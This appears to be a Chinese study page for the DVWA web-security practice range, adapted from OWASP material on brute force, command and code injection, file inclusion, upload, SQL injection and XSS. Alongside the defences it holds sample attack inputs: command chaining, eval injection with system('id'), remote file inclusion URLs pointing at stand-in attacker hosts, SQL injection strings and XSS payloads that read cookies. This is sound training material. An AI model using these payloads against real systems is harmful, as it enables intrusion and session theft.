DVWA-Web渗透实践

DVWA 是一款基于 PHP 和 mysql 开发的 web 靶场练习平台,集成了常见的 web 漏洞。

Brute Force(暴力破解)

描述

暴力破解可以以多种不同的方式表现出来,但主要包括攻击者配置预定值,使用这些值向服务器发出请求,然后分析响应。为了提高效率,攻击者可以使用字典攻击(有或没有突变)或传统的暴力攻击(使用给定的字符类别,例如:字母数字、特殊字符、区分大小写)。考虑到给定的方法、尝试次数、进行攻击的系统的效率以及被攻击的系统的估计效率,攻击者能够计算出提交所有选定的预定值大约需要多长时间。

如通过字典攻击获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。

防御措施

提高密码质量

用户应尝试合并字母(大小写)、数字和符号。他们可以通过混合不同字符集中的字符来实现这一点,其中包括:

  • 大写字母,例如 A、B、C;
  • 小写字母,例如 a、b、c;
  • 数字,例如 1、2、3;
  • 特殊字符,例如 $、?、&;和
  • alt 字符,例如 µ、£、Æ。

定期更新密码

如 SSO 账号定期提醒更新

密码智慧的最后一句话

我记得在墨西哥黑客紧急响应小组页面上看到过一句很棒的短语,内容类似于“密码就像内衣:不要共享它们,不要将它们隐藏在键盘下,或者将它们挂在显示器上。最重要的是,经常更改密码” ”

Command Injection(命令注入)

描述

命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据(表单、cookie、HTTP 标头等)传递到系统 shell 时,可能会发生命令注入攻击。在这种攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。命令注入攻击的可能性很大程度上是由于输入验证不足。

此攻击与代码注入不同,代码注入允许攻击者添加自己的代码,然后由应用程序执行。在命令注入中,攻击者扩展了应用程序的默认功能,该功能执行系统命令,而无需注入代码。

列子

实施例 1

以下代码是 UNIX 命令 cat的封装,它将文件的内容打印到标准输出。它也可以注射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);
}

正常使用时,输出只是所请求文件的内容:

1
2
$ ./catWrapper Story.txt
When last we left our heroes...

但是,如果我们在该行末尾添加一个分号和另一个命令,则 catWrapper 会毫无怨言地执行该命令:

1
2
3
4
5
6
7
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt doubFree.c nullpointer.c
unstosig.c www* a.out*
format.c strlen.c useFree*
catWrapper* misnull.c strlength.c useFree.c
commandinjection.c nodefault.c trunc.c writeWhatWhere.c

如果 catWrapper 设置为具有比标准用户更高的权限级别,则可以使用该更高的权限执行任意命令。

防御措施

理想情况下,开发人员应该使用适合其语言的现有 API。例如 (Java):不要使用Runtime.exec()发出“邮件”命令,而是使用位于javax.mail.*的可用 Java API 。

如果不存在此类可用的 API,开发人员应清除所有输入中是否存在恶意字符。实施积极的安全模型将是最有效的。通常,定义合法字符比定义非法字符容易得多。

参考

Code Injection (代码注入)

描述

代码注入是攻击类型的总称,包括注入代码,然后由应用程序解释/执行。此类攻击利用了对不可信数据的不良处理。这些类型的攻击通常是由于缺乏适当的输入/输出数据验证而可能发生的,例如:

  • 允许的字符(标准正则表达式类或自定义)
  • 数据格式
  • 预期数据量

代码注入与命令注入的不同之处在于,攻击者仅受注入语言本身功能的限制。如果攻击者能够将 PHP 代码注入应用程序并执行它,他们只会受到 PHP 能力的限制。命令注入包括利用现有代码来执行命令,通常是在 shell 的上下文中。

风险因素

  • 这些类型的漏洞可能非常难以发现,也可能很容易发现
  • 如果发现,通常很难利用,具体取决于场景
  • 如果成功利用,影响可能包括机密性丧失、完整性丧失、可用性丧失和责任丧失

例子

实施列 1

如果应用程序将通过 GET 请求发送的参数传递给 PHP include()函数而不进行输入验证,则攻击者可能会尝试执行开发人员预期之外的代码。

下面的 URL 将页面名称传递给该include()函数。 http://testsite.com/index.php?page=contact.php

例如,文件“evilcode.php”可能包含 phpinfo() 函数,该函数对于获取有关 Web 服务运行的环境的配置信息非常有用。攻击者可以使用以下请求要求应用程序执行其 PHP 代码: http://testsite.com/?page=http://evilsite.com/evilcode.php

实施例 2

当开发人员使用 PHPeval()函数并向其传递攻击者可以修改的不受信任的数据时,就可能发生代码注入。

下面的示例显示了使用该eval()函数的危险方法:

1
2
3
$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");

由于没有输入验证,上面的代码很容易受到代码注入攻击。

例如:/index.php?arg=1; phpinfo()

在利用此类错误时,攻击者可能想要执行系统命令。在这种情况下,代码注入 bug 也可以用于命令注入,例如:/index.php?arg=1; system('id')

参考

CSRF(Cross Site Request Forgery 跨站请求伪造)

描述

跨站点请求伪造 (CSRF) 是一种攻击,它迫使最终用户在其当前经过身份验证的 Web 应用程序上执行不需要的操作。在社会工程的帮助下(例如通过电子邮件或聊天发送链接),攻击者可能会诱骗 Web 应用程序的用户执行攻击者选择的操作。如果受害者是普通用户,成功的 CSRF 攻击可以迫使用户执行状态更改请求,例如转移资金、更改电子邮件地址等。如果受害者是管理帐户,CSRF 可能会危害整个 Web 应用程序。

参考

“本文是跨站请求伪造问题的动态文档。该文档将作为现有论文、演讲和邮件列表帖子的信息存储库,并将随着新信息的发现而更新。”*

  • CSRF 测试
    • 来自 OWASP 测试指南项目的 CSRF(又名会话骑行)论文。
  • CSRF 漏洞:“沉睡的巨人”
    • 概述论文
  • 针对会话骑乘的客户端保护
    • Martin Johns 和 Justus Winter 在第四届 OWASP AppSec 会议上发表的有趣论文和演示,其中描述了浏览器可以采用的自动提供 CSRF 保护的潜在技术 - PDF 论文
  • OWASP CSRF 守卫
    • J2EE、.NET 和 PHP 过滤器将唯一的请求令牌附加到 HTML 响应中的每个表单和链接,以便在整个应用程序中提供针对 CSRF 的普遍覆盖。
  • OWASP CSRF 保护器
    • 缓解 Web 应用程序中 CSRF 的反 CSRF 方法。目前作为 PHP 库和 Apache 2.xx 模块实现
  • 关于跨站请求伪造 (CSRF) 最容易被忽视的事实
    • Aung Khant,http://yehg.net,通过危险场景解释了 CSRF 的危险和影响。
  • Pinata-CSRF-Tool:CSRF POC 工具
    • Pinata 可以轻松创建概念验证 CSRF 页面。协助应用程序漏洞评估。

File Inclusion(文件包含)

描述

文件包含漏洞允许攻击者包含文件,通常利用目标应用程序中实现的“动态文件包含”机制。该漏洞的发生是由于在未经适当验证的情况下使用用户提供的输入。

这可能会导致输出文件内容,但根据严重程度,它也可能导致:

  • Web 服务器上的代码执行
  • 客户端代码执行(例如 JavaScript)可能导致其他攻击,例如跨站脚本 (XSS)
  • 拒绝服务 (DoS)
  • 敏感信息披露

当应用程序使用攻击者控制的变量构建可执行代码的路径时,会导致此问题,从而允许攻击者控制在运行时执行哪个文件。文件包含漏洞与通用目录遍历攻击不同,目录遍历是获得未经授权的文件系统访问的一种方式,而文件包含漏洞会破坏应用程序加载代码以执行的方式。成功利用文件包含漏洞将导致在运行受影响的 Web 应用程序的 Web 服务器上远程执行代码。攻击者可以使用远程执行代码在 Web 服务器上创建 Web shell,该 Web shell 可用于网站篡改。

Local File Inclusion(本地文件包含)

描述

本地文件包含(也称为 LFI)是通过利用应用程序中实施的易受攻击的包含过程来包含已本地存在于服务器上的文件的过程。例如,当页面接收必须包含的文件的路径作为输入并且该输入未正确清理时,就会出现此漏洞,从而允许注入目录遍历字符(例如点-点-斜杠)。尽管大多数示例都指向易受攻击的 PHP 脚本,但我们应该记住,它在 JSP、ASP 等其他技术中也很常见。

如何测试

由于 LFI 是在传递给include语句的路径未正确清理时发生的,因此在黑盒测试方法中,我们应该寻找以文件名作为参数的脚本。

考虑以下示例:

1
http://vulnerable_host/preview.php?file=example.html

这看起来是尝试 LFI 的完美场所。如果攻击者足够幸运,并且脚本不是通过名称从数组中选择适当的页面,而是直接包含输入参数,则有可能包含服务器上的任意文件。

防御措施

消除文件包含漏洞的最有效解决方案是避免将用户提交的输入传递给任何文件系统/框架 API。如果这不可能,应用程序可以维护页面可能包含的文件允许列表,然后使用标识符(例如索引号)来访问所选文件。任何包含无效标识符的请求都必须被拒绝,这样就不会有恶意用户操纵路径的攻击面。

参考

Remote File Inclusion(远程文件包含)

描述

远程文件包含(也称为 RFI)是通过利用应用程序中实施的易受攻击的包含过程来包含远程文件的过程。例如,当页面接收到必须包含的文件的路径作为输入,并且该输入未正确清理,从而允许注入外部 URL 时,就会出现此漏洞。尽管大多数示例都指向易受攻击的 PHP 脚本,但我们应该记住,它在 JSP、ASP 等其他技术中也很常见。

如何测试

由于当传递给“include”语句的路径未正确清理时就会发生 RFI,因此在黑盒测试方法中,我们应该寻找以文件名作为参数的脚本。考虑以下 PHP 示例:

1
2
$incfile = $_REQUEST["file"];
include($incfile.".php");

在此示例中,路径是从 HTTP 请求中提取的,并且未进行输入验证(例如,通过根据允许列表检查输入),因此这段代码很容易受到此类攻击。考虑以下 URL:

1
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page

在这种情况下,将包含远程文件,并且其中包含的任何代码都将由服务器运行。

防御措施

消除文件包含漏洞的最有效解决方案是避免将用户提交的输入传递给任何文件系统/框架 API。如果这不可能,应用程序可以维护页面可能包含的文件允许列表,然后使用标识符(例如索引号)来访问所选文件。任何包含无效标识符的请求都必须被拒绝,这样就不会有恶意用户操纵路径的攻击面。

参考

File Upload(文件上传)

描述

上传的文件对应用程序构成重大风险。许多攻击的第一步是向要攻击的系统获取一些代码。那么攻击只需要找到一种方法来让代码执行即可。使用文件上传可以帮助攻击者完成第一步。

不受限制的文件上传的后果可能会有所不同,包括完全系统接管、文件系统或数据库过载、将攻击转发到后端系统、客户端攻击或简单的破坏。这取决于应用程序对上传文件的处理方式,尤其是文件的存储位置。

这里确实存在两类问题。第一个是文件元数据,例如路径和文件名。这些通常由传输提供,例如 HTTP 多部分编码。这些数据可能会欺骗应用程序覆盖关键文件或将文件存储在错误的位置。在使用元数据之前,您必须非常仔细地对其进行验证。

另一类问题与文件大小或内容有关。这里问题的范围完全取决于文件的用途。请参阅下面的示例,了解有关文件如何被滥用的一些想法。为了防止此类攻击,您应该分析应用程序对文件执行的所有操作,并仔细考虑涉及哪些处理和解释器。

风险因素

  • 该漏洞的影响很高,假定的代码可以在服务器上下文或客户端执行。攻击者被发现的可能性很高。患病率很常见。因此,此类漏洞的严重性很高。
  • 检查文件上传模块的访问控制以正确检查风险非常重要。
  • 服务器端攻击:Web 服务器可以通过上传并执行 Web-Shell 来受到破坏,该 Web-Shell 可以运行命令、浏览系统文件、浏览本地资源、攻击其他服务器或利用本地漏洞等。
  • 客户端攻击:上传恶意文件可能会使网站容易受到客户端攻击,例如 XSS或跨站点内容劫持。
  • 当需要同一服务器或受信任服务器上的文件时,上传的文件可能会被滥用以利用应用程序的其他易受攻击的部分(可能再次导致客户端或服务器端攻击)
  • 上传的文件可能会触发客户端损坏的库/应用程序中的漏洞(例如 iPhone MobileSafari LibTIFF 缓冲区溢出)。
  • 上传的文件可能会触发服务器端损坏的库/应用程序中的漏洞(例如,称为 ImageTragick 的 ImageMagick 缺陷!)。
  • 上传的文件可能会触发损坏的实时监控工具中的漏洞(例如,通过解压 RAR 文件来利用赛门铁克防病毒软件)
  • Unix shell 脚本、Windows 病毒、带有危险公式的 Excel 文件或反向 shell 等恶意文件可以上传到服务器上,以便管理员或网站管理员稍后在受害者的计算机上执行代码。
  • 攻击者可能能够将网络钓鱼页面放入网站或破坏网站。
  • 文件存储服务器可能被滥用来托管麻烦的文件,包括恶意软件、非法软件或成人内容。上传的文件还可能包含恶意软件的命令和控制数据、暴力和骚扰消息或可供犯罪组织使用的隐写数据。
  • 上传的敏感文件可能会被未经授权的人访问。
  • 文件上传者可能会在其错误消息中公开内部信息,例如服务器内部路径。

例子

应用平台攻击

  • 将 .jsp 文件上传到 Web 树 - 以 Web 用户身份执行 jsp 代码
  • 上传要调整大小的 .gif 文件 - 利用图像库缺陷
  • 上传大文件-文件空间拒绝服务
  • 使用恶意路径或名称上传文件 - 覆盖关键文件
  • 上传包含个人数据的文件 - 其他用户访问它
  • 上传包含“标签”的文件 - 标签作为“包含”在网页中的一部分而被执行
  • 上传 .rar 文件以供防病毒扫描 - 在运行易受攻击的防病毒软件的服务器上执行的命令

对其他系统的攻击

  • 将 .exe 文件上传到网络树 - 受害者下载木马可执行文件
  • 上传受病毒感染的文件 - 受害者的计算机被感染
  • 上传包含脚本的 .html 文件 - 受害者遭遇跨站脚本 (XSS)
  • 上传包含 Flash 对象的 .jpg 文件 - 受害者遭遇跨站点内容劫持。
  • 上传 .rar 文件以供防病毒扫描 - 在运行易受攻击的防病毒软件的客户端上执行的命令

防御措施

对开发者和网站管理员的一些特别建议:

  • 允许上传的文件类型应仅限于业务功能所需的文件类型。
  • 如果没有允许列表过滤器,切勿直接接受文件名及其扩展名。
  • 应用程序应对上传到服务器的任何文件执行过滤和内容检查。文件在提供给其他用户之前应经过彻底扫描和验证。如有疑问,应丢弃该文件。
  • 有必要在 Web 应用程序上有一个仅允许的扩展的列表。并且,可以从列表中选择文件扩展名。例如,可以使用“选择大小写”语法(如果有 VBScript)来根据实际文件扩展名选择文件扩展名。
  • 所有控制字符和 Unicode 字符都应从文件名及其扩展名中删除,无一例外。另外,特殊字符如“;”、“:”、“>”、“<”、“/”、“\”、附加“.”、“*”、“%”、“$”等on 也应该被丢弃。如果适用并且不需要 Unicode 字符,强烈建议仅接受字母数字字符和 1 个点作为文件名和扩展名的输入;其中文件名和扩展名根本不应该为空(正则表达式:) ^\[a-zA-Z0-9\]{1,200}\\.\[a-zA-Z0-9\]{1,10}$
  • 限制文件名长度。例如,NTFS 分区中文件名加上扩展名的最大长度应小于 255 个字符(不含任何目录)。
  • 建议使用算法来确定文件名。例如,文件名可以是文件名加上当天日期的哈希值。
  • 上传的目录不应具有任何“执行”权限,并且应从这些目录中删除所有脚本处理程序。
  • 将文件大小限制为最大值,以防止拒绝服务攻击(针对文件空间或其他 Web 应用程序的功能,例如图像缩放器)。
  • 限制小文件,因为它们可能导致拒绝服务攻击。因此,应考虑文件的最小大小。
  • 使用跨站点请求伪造保护方法。
  • 防止在两者具有相同哈希值的情况下覆盖文件。
  • 在服务器上使用病毒扫描程序(如果适用)。或者,如果文件内容不保密,则可以使用免费的病毒扫描程序网站。在这种情况下,文件应先以随机名称且不带任何扩展名的方式存储在服务器上,然后进行病毒检查(上传到免费病毒扫描网站并返回结果)后,可以将其重命名为特定名称并进行病毒检查。扩大。
  • 尝试使用 POST 方法而不是 PUT(或 GET!)
  • 记录用户的活动。然而,日志记录机制应该防止日志伪造和代码注入本身。
  • 如果有压缩文件提取功能,则应将压缩文件的内容作为新文件一一检查。
  • 如果可能,请考虑将文件保存在数据库中而不是文件系统上。
  • 如果文件应保存在文件系统中,请考虑使用具有不同域的隔离服务器来提供上传的文件。
  • 如果可能的话,文件上传器应该只能由经过身份验证和授权的用户访问。
  • 应删除上传文件夹以外的文件和文件夹的写入权限。上传文件夹不应提供任何服务
  • 确保无法使用文件上传程序替换“.htaccess”或“web.config”等配置文件。确保有适当的设置可以忽略“.htaccess”或“web.config”文件(如果上传到上传目录)。
  • 确保具有双扩展名的文件(例如“file.php.txt”)无法执行,尤其是在 Apache 中。
  • 确保上传的文件无法被未经授权的用户访问。
  • 将“Content-Disposition: Attachment”和“X-Content-Type-Options: nosniff”标头添加到静态文件的响应中将保护网站免受基于 Flash 或 PDF 的跨站点内容劫持攻击。建议在所有处理文件下载的模块中对用户需要下载的所有文件执行此做法。尽管此方法不能完全保护网站免受使用 Silverlight 或类似对象的攻击,但它可以降低使用 Adobe Flash 和 PDF 对象的风险,特别是在允许上传 PDF 文件的情况下。
  • 如果不使用 Flash/PDF (crossdomain.xml) 或 Silverlight (clientaccesspolicy.xml) 跨域策略文件,并且没有业务要求 Flash 或 Silverlight 应用程序与网站进行通信,则应将其删除。
  • 应禁用 crossdomain.xml 和 clientaccesspolicy.xml 文件的浏览器缓存。这使得网站能够在必要时轻松更新文件或限制对 Web 服务的访问。一旦检查了客户端访问策略文件,它对浏览器会话仍然有效,因此非缓存对最终用户的影响很小。根据目标网站的内容以及策略文件的安全性和复杂性,这可以作为低风险或信息风险问题提出。
  • 应审查 CORS 标头,使其仅针对静态或可公开访问的数据启用。否则,“Access-Control-Allow-Origin”标头应仅包含授权地址。其他 CORS 标头(例如“Access-Control-Allow-Credentials”)应仅在需要时使用。CORS 标头中的项目(例如“Access-Control-Allow-Methods”或“Access-Control-Allow-Headers”)应进行审查,如果不需要,请将其删除。

参考

Insecure CAPTCHA(不安全的验证码)

SQL Injection(SQL 注入)

描述

SQL 注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL 查询。成功的 SQL 注入漏洞可以从数据库读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件上存在的给定文件的内容系统,并在某些情况下向操作系统发出命令。SQL 注入攻击是注入攻击的一种,将 SQL 命令注入到数据平面输入中,以影响预定义 SQL 命令的执行。

SQL 注入攻击发生在以下情况:

  1. 非预期数据从不受信任的来源进入程序。
  2. 数据用于动态构造 SQL 查询

主要后果是:

  • 机密性:由于 SQL 数据库通常保存敏感数据,因此机密性丢失是 SQL 注入漏洞的常见问题。
  • 身份验证:如果使用较差的 SQL 命令来检查用户名和密码,则可能会以先前不知道密码的其他用户身份连接到系统。
  • 授权:如果授权信息保存在 SQL 数据库中,则可以通过成功利用 SQL 注入漏洞来更改此信息。
  • 完整性:正如可以读取敏感信息一样,也可以通过 SQL 注入攻击来更改甚至删除这些信息。

威胁建模

  • SQL 注入攻击允许攻击者欺骗身份、篡改现有数据、导致否认问题(例如作废交易或更改余额)、允许完全泄露系统上的所有数据、破坏数据或使其不可用,并成为系统管理员数据库服务器。
  • 由于旧函数接口的流行,SQL 注入在 PHP 和 ASP 应用程序中非常常见。由于可用编程接口的性质,J2EE 和 ASP.NET 应用程序不太可能轻易利用 SQL 注入。
  • SQL 注入攻击的严重性受到攻击者的技巧和想象力的限制,较小程度上还受到深度防御对策的限制,例如与数据库服务器的低权限连接等。一般来说,将 SQL 注入视为高影响严重性。

风险因素

受影响的平台可以是:

  • 语言:SQL
  • 平台:任何(需要与 SQL 数据库交互)

SQL 注入已成为数据库驱动网站的常见问题。该缺陷很容易检测到,也很容易被利用,因此,任何网站或软件包,即使用户群很少,也可能会受到此类攻击。

本质上,攻击是通过将元字符放入数据输入中,然后将 SQL 命令放入控制平面中来完成的,而控制平面以前并不存在。此缺陷取决于 SQL 没有真正区分控制平面和数据平面。

例子

实施例 1

以下 C# 代码动态构造并执行 SQL 查询,用于搜索与指定名称匹配的项目。该查询将显示的项目限制为所有者与当前经过身份验证的用户的用户名匹配的项目。

1
2
3
4
5
6
7
8
9
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '"
+ userName + "' AND itemname = '"
+ ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

该代码要执行的查询如下:

1
2
3
SELECT * FROM items
WHERE owner =
AND itemname = ;

但是,由于查询是通过连接常量基本查询字符串和用户输入字符串动态构造的,因此只有在itemName不包含单引号字符时查询才会正确运行。如果用户名 wiley 的攻击者输入字符串"name' OR 'a'='a"for itemName,则查询将变为以下内容:

1
2
3
SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';

添加条件OR 'a'='a'会导致 where 子句的计算结果始终为 true,因此该查询在逻辑上等同于更简单的查询:

1
SELECT * FROM items;

这种查询的简化允许攻击者绕过查询仅返回经过身份验证的用户拥有的项目的要求;该查询现在返回 items 表中存储的所有条目,无论其指定所有者是谁。

参考

  • SQL 注入知识库- MySQL、MSSQL 和 Oracle SQL 注入攻击的参考指南。
  • GreenSQL 开源 SQL 注入过滤器- 开源数据库防火墙,用于保护数据库免受 SQL 注入攻击。
  • Oracle 开发人员的 SQL 注入攻击简介
    • 这还包括建议的防御措施。

Blind SQL Injection(SQL 盲注)

描述

盲 SQL(结构化查询语言)注入是 SQL 注入攻击的一种,它向数据库询问正确或错误的问题,并根据应用程序的响应确定答案。当 Web 应用程序配置为显示一般错误消息,但并未缓解易受 SQL 注入攻击的代码时,通常会使用此攻击。

当攻击者利用 SQL 注入时,Web 应用程序有时会显示来自数据库的错误消息,抱怨 SQL 查询的语法不正确。SQL 盲注与普通 SQL 注入几乎相同,唯一的区别是从数据库检索数据的方式。当数据库不向网页输出数据时,攻击者被迫通过向数据库询问一系列对或错的问题来窃取数据。这使得利用 SQL 注入漏洞变得更加困难,但并非不可能

威胁建模

与 SQL 注入相同

风险因素

与 SQL 注入相同

例子

攻击者可以通过以下几种方式验证发送的请求是否返回 true 或 false:

基于内容

使用显示给定 ID 作为参数的文章的简单页面,攻击者可以执行一些简单的测试来确定该页面是否容易受到 SQL 注入攻击。

示例网址:

1
http://newspaper.com/items.php?id=2

向数据库发送以下查询:

1
SELECT title, description, body FROM items WHERE ID = 2

然后,攻击者可能会尝试注入返回“false”的查询:

1
http://newspaper.com/items.php?id=2 and 1=2

现在 SQL 查询应该如下所示:

1
SELECT title, description, body FROM items WHERE ID = 2 and 1=2

如果 Web 应用程序容易受到 SQL 注入攻击,那么它可能不会返回任何内容。为了确保这一点,攻击者将注入一个返回“true”的查询:

1
http://newspaper.com/items.php?id=2 and 1=1

如果返回“true”的页面内容与返回“false”的页面内容不同,则攻击者能够区分执行的查询何时返回 true 或 false。

一旦验证了这一点,唯一的限制就是数据库管理员设置的权限、不同的 SQL 语法以及攻击者的想象力。

参考

Weak Session IDs(弱会话 ID)

XSS(Cross Site Scripting 跨站脚本)

跨站脚本 (XSS) 攻击是一种注入,其中恶意脚本被注入到其他良性且受信任的网站中。当攻击者使用 Web 应用程序向不同的最终用户发送恶意代码(通常以浏览器端脚本的形式)时,就会发生 XSS 攻击。导致这些攻击成功的缺陷相当普遍,并且出现在 Web 应用程序在其生成的输出中使用用户输入而未对其进行验证或编码的任何地方。

攻击者可以使用 XSS 向毫无戒心的用户发送恶意脚本。最终用户的浏览器无法知道该脚本不应被信任,并且将执行该脚本。因为它认为脚本来自受信任的来源,所以恶意脚本可以访问浏览器保留并用于该站点的任何 cookie、会话令牌或其他敏感信息。这些脚本甚至可以重写 HTML 页面的内容。

描述

跨站脚本 (XSS) 攻击发生在以下情况:

  1. 数据通过不受信任的来源(最常见的是 Web 请求)进入 Web 应用程序。
  2. 该数据包含在发送给 Web 用户的动态内容中,且未经验证是否存在恶意内容。

发送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能包括 HTML、Flash 或浏览器可能执行的任何其他类型的代码。基于 XSS 的攻击种类几乎是无限的,但它们通常包括向攻击者传输隐私数据(如 cookie 或其他会话信息)、将受害者重定向到攻击者控制的 Web 内容,或在用户计算机上执行其他恶意操作在易受攻击的网站的幌子下。

反射和存储的 XSS 攻击

XSS 攻击一般可以分为两类:反射攻击和存储攻击。还有第三种不太为人所知的 XSS 攻击类型,称为基于 DOM 的 XSS ,此处将单独讨论。

反射型 XSS 攻击

反射攻击是指注入的脚本从 Web 服务器反射回来,例如错误消息、搜索结果或任何其他响应,其中包括作为请求的一部分发送到服务器的部分或全部输入。反射攻击通过其他途径传递给受害者,例如通过电子邮件或其他网站。当用户被诱骗点击恶意链接、提交特制表单,甚至只是浏览恶意网站时,注入的代码就会传输到易受攻击的网站,从而将攻击反射回用户的浏览器。然后浏览器执行代码,因为它来自“可信”服务器。反射型 XSS 有时也称为非持久性或 I 类 XSS(攻击通过单个请求/响应周期进行)。

存储型 XSS 攻击

存储攻击是指注入的脚本永久存储在目标服务器上,例如数据库、消息论坛、访问者日志、评论字段等。然后,受害者在请求存储的脚本时从服务器检索恶意脚本。信息。存储型 XSS 有时也称为持久性 XSS 或类型 II XSS。

盲目跨站脚本

盲目跨站脚本是持久性 XSS 的一种形式。当攻击者的有效负载保存在服务器上并从后端应用程序反射回受害者时,通常会发生这种情况。例如,在反馈表单中,攻击者可以使用表单提交恶意有效负载,一旦应用程序的后端用户/管理员通过后端应用程序打开攻击者提交的表单,攻击者的有效负载将被执行。盲目跨站脚本在现实场景中很难确认,但最好的工具之一是 XSS Hunter。

其他类型的 XSS 漏洞

除了存储型和反射型 XSS 之外,Amit Klein 在 2005 年还发现了另一种类型的 XSS,即基于 DOM 的 XSS。OWASP 建议按照 OWASP 文章: 跨站脚本类型中所述进行 XSS 分类,其中涵盖了所有这些 XSS 术语,将它们组织成存储与反射 XSS 以及服务器与客户端 XSS 矩阵,其中基于 DOM 的 XSS 是客户端 XSS 的子集。

XSS 攻击后果

无论是存储还是反射(或基于 DOM),XSS 攻击的后果都是相同的。不同之处在于有效负载到达服务器的方式。不要误以为“只读”或“宣传册软件”网站不易受到严重的反射型 XSS 攻击。XSS 可能会给最终用户带来各种问题,其严重程度从令人烦恼到彻底的帐户泄露不等。最严重的 XSS 攻击涉及泄露用户的会话 cookie,从而允许攻击者劫持用户的会话并接管帐户。其他破坏性攻击包括泄露最终用户文件、安装特洛伊木马程序、将用户重定向到其他页面或站点,或者修改内容的呈现方式。允许攻击者修改新闻稿或新闻项目的 XSS 漏洞可能会影响公司的股价或削弱消费者的信心。制药网站上的 XSS 漏洞可能允许攻击者修改剂量信息,从而导致用药过量。有关这些类型的攻击的更多信息,请参阅 Content_Spoofing

如何确定您是否易受伤害

XSS 缺陷可能很难识别并从 Web 应用程序中删除。发现缺陷的最佳方法是对代码进行安全审查,并搜索 HTTP 请求的输入可能进入 HTML 输出的所有位置。请注意,多种不同的 HTML 标签可用于传输恶意 JavaScript。Nessus、Nikto 和其他一些可用的工具可以帮助扫描网站是否存在这些缺陷,但只能触及表面。如果网站的某一部分存在漏洞,则很可能还存在其他问题。

如何保护自己

OWASP XSS 预防备忘单中描述了针对 XSS 的主要防御措施。

此外,关闭所有 Web 服务器上的 HTTP TRACE 支持也很重要。即使 document.cookie 被禁用或客户端不支持,攻击者也可以通过 Javascript 窃取 cookie 数据。当用户将恶意脚本发布到论坛时,当另一个用户单击该链接时,就会触发异步 HTTP Trace 调用,该调用从服务器收集用户的 cookie 信息,然后将其发送到另一个恶意服务器,该服务器收集 cookie 信息,以便攻击者可以发起会话劫持攻击。通过在所有 Web 服务器上删除对 HTTP TRACE 的支持,可以轻松缓解此问题。

OWASP ESAPI 项目以多种语言生成了一组可重用的安全组件,包括验证和转义例程,以防止参数篡改和 XSS 攻击注入。此外,OWASP WebGoat 项目培训应用程序还提供有关跨站点脚本和数据编码的课程。

替代 XSS 语法

在属性中使用脚本的 XSS

XSS 攻击可以在不使用标签的情况下进行<script>...</script> 。其他标签将执行完全相同的操作,例如: <body onload=alert('test1')>或其他属性,例如:onmouseover, onerror

鼠标悬停时
1
<b onmouseover=alert('Wufff!')>click me!</b>
错误
1
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

通过编码 URI 方案使用脚本的 XSS

如果我们需要隐藏 Web 应用程序过滤器,我们可以尝试对字符串字符进行编码,例如: (UTF-8) 并在标签a=&\#X41中使用它:IMG

1
<img src=jAvascript:alert('test2') />

有许多不同的 UTF-8 编码表示法为我们提供了更多可能性。

使用代码编码的 XSS

我们可以用 base64 编码我们的脚本并将其放置在META标签中。这样我们就彻底摆脱了alert()。有关此方法的更多信息可以在 RFC 2397 中找到

1
2
<meta http-equiv="refresh"
content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

这些和其他示例可以在 OWASP XSS Filter Evasion Cheat Sheet中找到,这是替代 XSS 语法攻击的真正百科全书。

例子

跨站点脚本攻击可能发生在允许恶意用户将不受监管的材料发布到受信任的网站以供其他有效用户使用的任何地方。

最常见的示例可以在提供基于网络的邮件列表样式功能的公告板网站中找到。

实施例 1

以下 JSP 代码段从 HTTP 请求中读取员工 ID eid 并将其显示给用户。

1
2
3
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

eid如果仅包含标准字母数字文本,则此示例中的代码可以正确运行。如果eid其值包含元字符或源代码,则 Web 浏览器将在显示 HTTP 响应时执行该代码。

最初,这似乎并不是一个很大的漏洞。毕竟,为什么有人会输入导致恶意代码在自己的计算机上运行的 URL?真正的危险在于,攻击者会创建恶意 URL,然后使用电子邮件或社交工程技巧来引诱受害者访问该 URL 的链接。当受害者点击该链接时,他们会无意中通过易受攻击的 Web 应用程序将恶意内容反射回自己的计算机。这种利用易受攻击的 Web 应用程序的机制称为反射型 XSS。

实施例 2

以下 JSP 代码段在数据库中查询具有给定 ID 的员工并打印相应员工的姓名。

1
2
3
4
5
6
7
8
9
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>

如示例 1 所示,当 name 的值表现良好时,此代码可以正确运行,但如果表现不佳,则它不会阻止漏洞利用。同样,此代码看起来危险性较小,因为 name 的值是从数据库读取的,而数据库的内容显然是由应用程序管理的。但是,如果 name 的值源自用户提供的数据,则数据库可能成为恶意内容的渠道。如果不对数据库中存储的所有数据进行适当的输入验证,攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的利用称为存储型 XSS,特别阴险,因为数据存储造成的间接性使得识别威胁变得更加困难,并增加了攻击影响多个用户的可能性。XSS 正是以这种形式开始的,网站向访问者提供“留言簿”。攻击者会在其留言簿条目中包含 JavaScript,并且该留言簿页面的所有后续访问者都将执行恶意代码。

